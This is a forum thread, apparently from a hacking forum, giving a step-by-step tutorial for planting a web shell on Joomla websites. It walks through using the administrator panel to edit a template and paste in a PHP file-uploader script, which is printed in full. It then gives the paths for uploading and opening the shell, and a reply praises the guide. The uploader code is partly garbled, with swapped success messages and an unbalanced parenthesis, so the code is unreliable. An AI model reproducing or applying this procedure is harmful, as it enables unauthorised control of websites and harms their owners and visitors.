Thread: [\[TUTORIAL:\]?_UPLOAD YOUR SHELL TO JOOMLA WEBSITES_ \[w/ Screenshots \]](#)

HeXagone - March 19, 2012, 11:13 am

[img]http://2.bp.blogspot.com/-0Z6DyfPFNpM/TcUIDGfyToI/AAAAAAAAAFxY/WKwf4KTtH48/s400/Joomla%2BHacking%2BTools%2BHack%2BJoomla%2Bwith%2Bself-written%2Btools%2Bby%2BValentin.png[/img]

Hi HF members , Today I'll show you how to upload a shell for Joomla administration panel.

Lets Begin ;

TUTORIAL :

1 / Login to the Admin Panel :

Quote:<http://www.site.com/administrator/>

[img]http://img535.imageshack.us/img535/3963/95424565.jpg[/img]

2 / Locate " Template Manager" in "Extention" and click on any template you want. I choose "beez" For an exemple.

[img]http://img267.imageshack.us/img267/9719/81374285.jpg[/img]

3 / Now click on "Edit HTML" . The Template must be writable.

[img]http://img94.imageshack.us/img94/1751/67743593.jpg[/img]

4/ Next exit the text and paste a .php uploader script. (you can use this if you don't have one) (credit : m0bil3_xT)

Quote:<?php echo '

'.php_uname()).'
'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if(\$_POST['_upl'] == "Upload") { if(@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo 'credits : hackforums.net

'; } else { echo 'Upload Sucess !!!

'; } } ?>

[img]http://img221.imageshack.us/img221/3526/84656828.jpg[/img]

5 / Click on update file, and locate the theme name, Now Goto:

Quote:<http://www.site.com/templates/beez/index.php>

[img]http://img687.imageshack.us/img687/1383/wordpress4.jpg[/img]

You will get upload option, now select your shell and upload it and to view it just goto the same directory.

Quote:<http://www.site.com/templates/beez/shell.php>

Then you can do what you want. Happy hacking ?

Hope that my tutorial will help you.

Thanks for viewing my thread

Very useful tutorial.

Will add this to my megathread in the feature.

Keep it up.
